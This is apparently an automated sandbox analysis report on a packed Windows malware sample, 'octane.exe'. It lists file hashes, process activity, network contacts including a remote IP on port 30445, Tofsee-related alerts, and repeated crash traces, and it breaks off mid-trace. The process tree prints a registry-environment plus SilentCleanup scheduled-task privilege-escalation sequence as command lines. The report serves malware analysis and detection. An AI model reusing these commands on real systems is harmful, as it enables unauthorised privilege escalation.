Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 7, 2021, 5:34 p.m.	Oct. 7, 2021, 5:37 p.m.

Size	938.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`d8667b25ba6dda415c8aae718dd4acbe`
SHA256	`49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a`
CRC32	`40E0B51E`
ssdeep	`24576:nWv+QwSKgQ0qgQDKqOTLDE4bpJlzNgojDGBav:WmWKgNxLQ4DRNRG0`
Yara	PE_Header_Zero - PE File Signature UPX_Zero - UPX packed file IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library

octane.exe "C:\Users\test22\AppData\Local\Temp\octane.exe"
896
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  3500
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    3564
    - reg.exe reg delete hkcu\Environment /v windir /f
      3656
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      3700
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      3744
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  3904
  - reg.exe reg delete hkcu\Environment /v windir /f
    3964

Name	Response	Post-Analysis Lookup
20mqvq.am.files.1drv.com	A 13.107.42.12 CNAME odc-am-files-geo.onedrive.akadns.net CNAME am-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net CNAME odc-am-files-brs.onedrive.akadns.net CNAME am-files.fe.1drv.com CNAME l-0003.l-msedge.net	13.107.42.12
saptransmissions.dvrlists.com	A 45.162.228.171	45.162.228.171
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch
45.162.228.171	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49164 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49166 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49165 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49164 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLSv1 192.168.56.102:49166 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.102:49165 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLS 1.3 192.168.56.102:49176 45.162.228.171:30445	None	None	None
TLS 1.3 192.168.56.102:49170 45.162.228.171:30445	None	None	None
TLS 1.3 192.168.56.102:49177 45.162.228.171:30445	None	None	None

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Oct. 7, 2021, 5:35 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 5:35 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

MAMBA

One or more processes crashed (50 out of 124 events)

Time & API	Arguments	Status
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 